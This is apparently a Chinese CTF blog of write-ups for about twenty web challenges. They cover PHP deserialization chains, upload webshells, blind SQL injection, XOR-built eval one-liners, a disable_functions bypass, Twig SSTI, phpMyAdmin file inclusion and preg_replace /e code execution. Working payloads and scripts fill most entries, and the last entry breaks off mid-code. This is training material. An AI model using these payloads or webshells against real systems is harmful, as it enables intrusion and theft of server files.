既然是反序列化题,所以我直接开始看类:一看都是可控的,我当场开始构建poc,本来看到file_put_contents()以为可以写东西,结果被禁止了,接着看到read()里面还有file_get_contents(),那么就是要使得op=="2",在魔术方法__destruct中,op==="2"是一个强类型比较,也就是当op是一个字符2才会导致op="1",而在process方法中,op=="1"op=="2"都是弱类型比较,因此可以直接用数字绕过,使op=2,然后使用file_get_contents函数读文件,filename=php://filter/convert.base64-encode/resource=flag.php,接着,开始看传入参数的位置,参数传入后会传入自定义函数is_vaild进行检测,要求传入的字符串必须均为ASCII值>=32且<=125的,一般使用的符号以及数字大小写字母都在这个范围内,但类里的protectedprivate属性的变量在序列化之后就会出现%00*%00%00类名%00,但可以通过16进制绕过,同时需要将序列化后字符串中表示一个数据长度的s改为大写,或者利用php7.1+对类的属性不敏感的性质直接将属性改为public绕过,,尝试构造poc:

1
2
3
4
5
6
7
8
9
class FileHandler {

protected $op=2;
protected $filename;
protected $content;
}
$a=new FileHandler;
echo str_replace('s:','S:',str_replace(chr(0),'\00',$a));
?>

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}
最终构造payload:?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}
将得到的字符串进行base64解码就得到了flag.php的内容。

[网鼎杯 2020 朱雀组]phpweb

打开是一个只有图片的界面,然后界面突然刷新了,然后界面上出现了一堆warning和一个当前时间,然后就反复刷新,查看源码,但刷新搞得很烦,所以抓包,发现传了两个值,func=date&p=Y-m-d+h%3Ai%3As+a,应该是执行了date函数,那么尝试执行其他函数,但发现有过滤,尝试show_source读取index.php,被过滤,但highlight_file执行成功了,于是得到index.php的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>

<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

可以看到禁用函数一堆,但是是写在函数里面的,如果绕过函数,就可以直接执行,可以看到Test类里面的魔术方法是可以不经过检测函数直接执行的,因此,通过反序列化执行。
首先简单poc:

1
2
3
4
5
6
7
8
9
10
<?php
class Test {
var $p = "ls";
var $func = "system";
}
$a= new Test;
$a=serialize($a);
$a=str_replace(" ","%20",$a);
echo $a;
?>

这样就能读取到文件目录了,但一个一个找就太麻烦了,所以直接搜索flag,使用find指令,find / -name flag*因为不知道后缀名所以加*号,一般来说是能跑出来的,我跑不出肯定是我太菜了。然后直接读就完事。

[SUCTF 2019]CheckIn

文件上传,老样子,选一个空文件,上传抓包,开始构造shell:

1
2
3
4
5
Content-Disposition: form-data; name="fileUpload"; filename="1.jpg"
Content-Type: image/jpeg

GIF89a?
<script language="php">eval($_REQUEST['a']);</script>

当然还是尝试了一下,上传php或者phtml文件都会被过滤,类型必须为image/jpeg,需要加图片头进行欺骗,过滤了<?,因此需要编译
试着上传文件.htaccess文件,结果无效,图片显示不出来,也许是rewrite没有开(结果是因为加了GIF89a作为文件头,也就是说以后有文件头检测的没法通过这个方法编译文件),于是上传user.ini:

1
2
3
4
5
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/jpeg

GIF89a?
auto_prepend_file=1.jpg

注意GET是没法连上蚁剑的
简单题,需要了解的就是.user.ini这个文件是类似自定义配置的
这人讲的细:链接
可以实现让任何php文件都包含设定的文件

[CISCN2019 华北赛区 Day2 Web1]Hack World

还算简单,就是个sql注入,过滤了各种注释符号,所以用^绕,以前也做过类似的,所以直接写脚本跑

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string

def str_ord():
for i in string:
str = ord(i)
return str

string=string.ascii_lowercase + string.digits + '_'+'{'+'}'+'-'

flag = ''
stop = ''

for j in range(1,100):
if stop == '}':
break
for k in string:
m=ord(k)
data = {
'id':'0^if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,4)' %(j,m)
}
url = 'http://97955671-e9d0-4f85-905a-b20bce795db9.node3.buuoj.cn/index.php'
r=requests.post(url=url,data=data).text

if 'llo' in r:
flag+=k
stop = k
print(flag)
break

就是跑的有点慢。
这次是真的nt了,发现注释符号被ban就慌了。

[安洵杯 2019]easy_serialize_php

审源码:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

通过传入phpinfo,查看到phpinfo的页面

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#如下为user.ini的设置,在所以文件底部都包含文件d0g3_f1ag.php 
auto_append_file d0g3_f1ag.php
#要读取到该文件的内容可以利用源码中的:
echo file_get_contents(base64_decode($userinfo['img']));
#那么就开始反推:
base64_decode($userinfo['img']) == 'd0g3_f1ag.php'

$userinfo['img'] == 'ZDBnM19mMWFnLnBocA=='

$userinfo = unserialize($serialize_info);

$serialize_info = filter(serialize($_SESSION));
#那么就要让反序列化之后类里有一个img='ZDBnM19mMWFnLnBocA=='
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
#但如果通过img_path传入值,就会导致传入的值被sha1函数处理,因此需要利用反序列化:
$serialize_info = filter(serialize($_SESSION));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
#因为有过滤,因此这里就要通过反序列化逃逸:
#因为理解了序列化的基本规则,就很好懂了。

直接贴exp:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class A {
public $user='flagflagflagflagflagflag';
public $function='1";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
public $img='ZDBnM19mMWFnLnBocA==';/*'Z3Vlc3RfaW1nLnBuZw==';*/
}
$a=new A;
$a=serialize($a);

echo $a.'<br>';
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
$b=preg_replace($filter,'',$a);

echo $b;
#O:1:"A":3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:65:"1";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

#O:1:"A":3:{s:4:"user";s:24:"";s:8:"function";s:65:"1";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

下面的变量b是过滤后的序列化字符串,将两个对比就可以看出是否构造可逃逸序列化字符串成功。
当值为如代码中所示值时构造出的字符串在过滤后也仍旧可以成功进行反序列化。

将构造好的值通过bp传入:

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

成功读取到d0g3_f1ag.php

{ .theme-legacy }
1
2
3
<?php
$flag = 'flag in /d0g3_fllllllag';
?>

可知flag就在/d0g3_fllllllag,修改字符串,读取该文件。
base64编码后和之前的长度一致,因此无需再修改长度值,直接传过去,读取成功。

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
<?php
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
?>

过滤掉了大小写字母以及数字,通过检索了解到可以通过特殊符号的异或构造字符,从而进行RCE
根据异或原理写出脚本:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
import string

str = "~!@#$%^&*()_+|}{\":?><`-=\][';/."
string = string.ascii_lowercase + string.ascii_uppercase + string.digits

for i in str:
for j in str:
a=ord(i)^ord(j)
a=chr(a)
b="%s^%s=%s" %(i,j,a)
if a in string:
print(b)

将构造好的字符串传入:
?code=$_="_(_).\/"^"/@/@@:@";$_();
得到phpinfo界面

{ .theme-legacy }
1
2
3
4
5
6
7

"!}{)"^"~:>}" #异或得_GET

?code=$_="!}{)"^"~:>}";${$_}[_]();&_=phpinfo

#经过重重套娃,我终于搞出了一句话木马:
?code=$_="!}{)"^"~:>}";${$_}[_](${$_}[__]);&_=assert&__=eval("$_POST[muhua]")

通过构造一个带参数的函数,函数名和参数都能控制,即可利用assert,执行任何php代码。
但当我连上蚁剑高高兴兴打开flag文件时里面却空空如也!再一退出来看到有一个readflag,看来事情没那么简单,应该还要运行这个文件才能读到flag,但通过phpinfo界面可知,system等大量函数已经被ban掉了,因此只好通过工具绕过disable_function
先下载工具包:链接
通过蚁剑,将bypass_disablefunc_x64.so,和diable_function.php上传到目录/var/tmp下。

{ .theme-legacy }
1
?code=$_="!}{)"^"~:>}";&_=assert&__=include('/var/tmp/diable_function.php')&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

根据diable_function.php代码传入对应值,即可成功运行/readflag

[极客大挑战 2020]Roamphp1-Welcome

啥也看不到,源码泄露也没反应。
使用工具,火狐插件RESTClient
通过POST,查看响应预览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {

if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}

其实直接用hackbar直接run也能得到。
于是传入

.theme-legacy }
1
roam1[]=1&roam2[]=2

得到phpinfo页面,flag直接就在环境变量里。
想想这题的源码好像也没有可以利用的地方了。

[GXYCTF2019]BabyUpload

又是文件上传,本应轻松解决,却因为对htaccess文件的了解不够导致各种错误,首先htaccess,希望下次不要再打错,接着这个配置文件不要加图片头欺骗,因为会失效。最后和之前一样,上传一个木马和一个用于编译的文件。

1
2
3
4
5
6
7
8
#文件名1.html

GIF89a
<script language="php">eval($_POST[muhua]);</script>

#文件名.htaccess

AddType application/x-httpd-php .html

蚁剑。

[RoarCTF 2019]Easy Java

最后部分给我搞吐了,虽然前面也很难
打开之后,根据名字,感觉注是不可能的了,并且一般来说先把题能找到的所给的所有hint找出再开始做题会更轻松,点击下面的help,跳转到页面/Download?filename=help.docx
但无论如何返回都是java.io.FileNotFoundException:{help.docx},之后了解到访问方式要用POST
使用插件hackbar进行run,得到一大串东西,链接里面有讲java源码泄露的知识
/WEB-INF/web.xml:Web:应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
于是通过该文章讲解的知识点,尝试访问/Download?filename=WEB-INF/web.xml进行源码泄露
得到页面

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

Servlet访问url映射配置

由于客户端是通过URL地址访问Web服务器中的资源,所以Servlet程序若想被外界访问,必须把Servlet程序映射到一个URL地址上,这个工作在web.xml文件中使用<servlet>元素和<servlet-mapping>元素完成。<servlet>元素用于注册Servlet,它包含有两个主要的子元素:<servlet-name><servlet-class>,分别用于设置Servlet的注册名称和Servlet的完整类名。一个<servlet-mapping>元素用于映射一个已注册的Servlet的一个对外访问路径,它包含有两个子元素:<servlet-name><url-pattern>,分别用于指定Servlet的注册名称和Servlet的对外访问路径。
也就是说这里已经得到FlagCotroller及其路径了,只需直接访问。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中。
由于这个是类中的文件,因此还要在末尾加上.class
于是访问Download/?filename=WEB-INF/classes/com/wm/ctf/FlagCotroller.class
成功得到界面,但flag被base64编码了,还全替换成小写字母了,我抓包返回发现大小写区分了,但复制不了,最后无奈跑脚本抓取回显,解码。

{ .theme-legacy }
1
2
3
4
5
import requests
url='url/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class'
data={}
r=requests.post(url=url,data=data).text
print(r)

[GWCTF 2019]我有一个数据库

打开甚至是乱码,可能是我的浏览器有问题,然后bp抓取也是乱码,最后使用了之前安装的插件RESTClient 查看预览,说他有个数据库,但是是空的,没看懂,无从下手,毕竟buu没法扫描,看wp,发现是扫描出的/phpmyadmin,打开是一个界面,然后搜索这个phpmyadmin4.8.1的漏洞,找到这个版本存在任意文件包含漏洞->链接,讲到在index.php中有一段代码,会导致文件包含,总之是通过target传入的,接着是一些过滤,但我也看不到他的过滤是些什么,不过我点开数据库这个选项时发现跳到了页面server_databases.php,那么就可以直接拿这个来尝试,下面还有if语句,会检测?之前的文件是否在白名单内,如果是就会将其包含,通过在其之后加上?绕过检测,然后再在其之后加上目录穿越。
最终构成payload:/phpmyadmin/index.php?target=server_databases.php?/../../../../../flag
因为没有写入权限,想写shell也没办法,只能猜flag在根目录下。

[BJDCTF2020]ZJCTF,不过如此

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

通过data协议写入:
?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=
通过第一层,再通过php伪协议读取next.php。继续构建得到:
?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
解码得到:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

preg_replace有一个远程代码执行漏洞:
当使用被弃用的 e 修饰符时, 这个函数会转义一些字符 (即:’、”、 \ 和 NULL) 然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误 (比如: ‘strlen('$1')+strlen(“$2”)’)。确保符合 PHP 的 字符串语法,并且符合 eval 语法。因为在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。
也就是说第二个字符串的内容会进行eval执行,但\\1,有特殊的意义
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以这里的 \1 实际上指定的是第一个子匹配项

这个讲的还行:链接

传入:next.php?\S={${phpinfo()}},此时就能执行得到phpinfo界面。
利用自定义函数getFlag进行命令执行。
于是传入:next.php?\S={${getFlag()}}&cmd=system("cat /flag");
结束

[BJDCTF2020]The mystery of ip

打开之后直接点击hint进入hint.php,在页面源码可以看到注释<!-- Do you know why i know your ip? -->
点击flag进入flag.php,看到127.0.0.1,因为我浏览器一直开着插件,自动在消息头加上XFF,更改之后果然又变了,抓包,修改为:<?=phpinfo();?>,但内容页面源码显示,却没有编译,应该是方式不对,尝试模板注入,修改XFF为:{phpinfo()},成功得到phpinfo界面,通过system函数读取到根目录下的flag文件。

[ASIS 2019]Unicorn shop

进去之后尝试注入,但没用,而且第二个price字段只能输入一个字符,那么就老老实实尝试购买,但前三个都显示商品错误,那么就肯定是要买第四个了,也就是说需要用一个字符代替一个大于1337的数字来绕过,通过大佬wp给的网站随便找了个Unicode后很大的字符,将其urlencode,抓包POST传入。成功绕过

[BJDCTF2020]Cookie is so stable

ssti模板注入,先测试类型,输入{{7*7}}得到49,说明是twig类型,找到个模板来套:链接
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
直接抓包发送。
之后又找到一篇大佬的文章:ssti漏洞
原文相关知识讲解:
Twig 给我们提供了一个_self, 虽然_self本身没有什么有用的方法,但是却有一个env,其中有一个调用过滤器的函数getFilter()

这个函数中调用了一个call_user_function方法

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {//注意这行
return $filter;
}
}
return false;
}

public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}

我们只要把exec()作为回调函数传进去就能实现命令执行了
payload:

1
2
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

之前一些比赛遇到好几次模板注入了,但我都不清楚,看来还是题做少了

[BSidesCF 2020]Had a bad day

打开界面点击按钮就会随机刷新图片,抓包查看上传的信息,发现GET /index.php?category=meowers,不明含义,加上一个单引号,出现了报错:
include(woofers'.php): failed to open stream
可以看出,是将传入的字符与'.php'进行了拼接,然后进行文件包含,尝试使用php伪协议进行文件读取:
?category=php://filter/convert.base64-encode/resource=index
因为最后会拼接上'.php',所以就不用加上了。
读出index.php含有以下内容:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

可以看出只要字符串包含woofersmeowers,或者index不在第0位就能读出绕过进行文件包含,我也是第一次知道php伪协议可以随便加东西,总之就套一个字符串进去,构成payload:
?category=php://filter/convert.base64-encode/meowers/woofers/index/resource=flag
意思是中间插多少个字符串进去不是问题,会报错,但读取成功。

[CISCN 2019 初赛]Love Math

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

ban掉了一些字符,同时只允许使用whitelist里面的函数,那么就需要想办法利用whitelist里的函数将数字转换成字符串来绕过检测执行命令。
32进制包含所有小写英文字母,可以直接用base_convert函数构造任意函数名,但因为长度限制,因此可以构造先shell
构造shell首先构造出$_GET,可以想到16进制和字符串的转换,但白名单没有用于将16进制数转换为二进制字符串的函数,此时就可以使用base_convert函数构造函数hex2bin
构造出_GET
base_convert(37907361743,10,36)(dechex(1598506324))
中括号也被ban掉了,但可以使用花括号代替,构造shell:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{cos})&pi=system&cos=cat /flag
构造POST蚁剑连不上,看来还需要研究

[SUCTF 2019]Pythonginx

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

exhausted
分析给出的python源码,得出,需要让其判断前两个if中host不能==suctf.cc,第三个则需要判断相等,得出?host=file:////suctf.cc/usr/local/nginx/conf/nginx.conf
得到flag在usr文件夹下,读取。

[MRCTF2020]Ezpop

构造链子,看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

我找链子喜欢倒着来,直接就看到文件包含,那肯定是要用协议读取文件,然后可以看到后面有过滤,gopher,file,http之类的,不过不影响,基本上我现在还是用php伪协议的,然后开始:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
//首先看到能让我进行文件读取的类,$var可控,在魔术方法__invoke里调用了append方法进行文件包含,这个魔术方法的触发方式是将类以函数的方式进行访问,那么向下找:
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}
//在魔术方法__get里找到利用点,将$p赋值给$function,并对$function以函数的形式进行访问,而$p可控,__get的触发条件是访问类中的私有变量或者不存在的变量,那么接着找:
public function __toString(){
return $this->str->source;
}
//在类Show里可以看到以上魔术方法,魔术方法中访问了$str->source,而$str可控,将$str赋值为new Test,而Test中不含$source,这样便可触发成功,而魔术方法__tiString的触发条件是对类以字符串的形式访问,继续:
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
//那么直接控制变量输入,先构造一个后边部分的链,再将构造好的类作为变量传入,第一个点成功触发,后面就会跟着触发完成,链的构造完成下面是poc:

<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php" ;
}


class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
$this->str=new Test;
}
}

class Test{
public $p;
public function __construct(){
$this->p=new Modifier;
}
}

$a=new Show(1);
$a=new Show($a);
echo urlencode(serialize($a));

payload:?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bi%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
由于有一个私有变量,因此需要转化为url码。

[SWPUCTF 2018]SimplePHP

打开环境,有文件上传的地方,但传不上去,尝试上传图片也不知道传到哪里去了,文件查看的地方可以看到获取了一个变量file,尝试将该页面传给file。
拿到file.php

{ .theme-legacy}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

有文件包含,将包含的文件也传入
拿到function.php

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

拿到class.php

{ .thmem-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
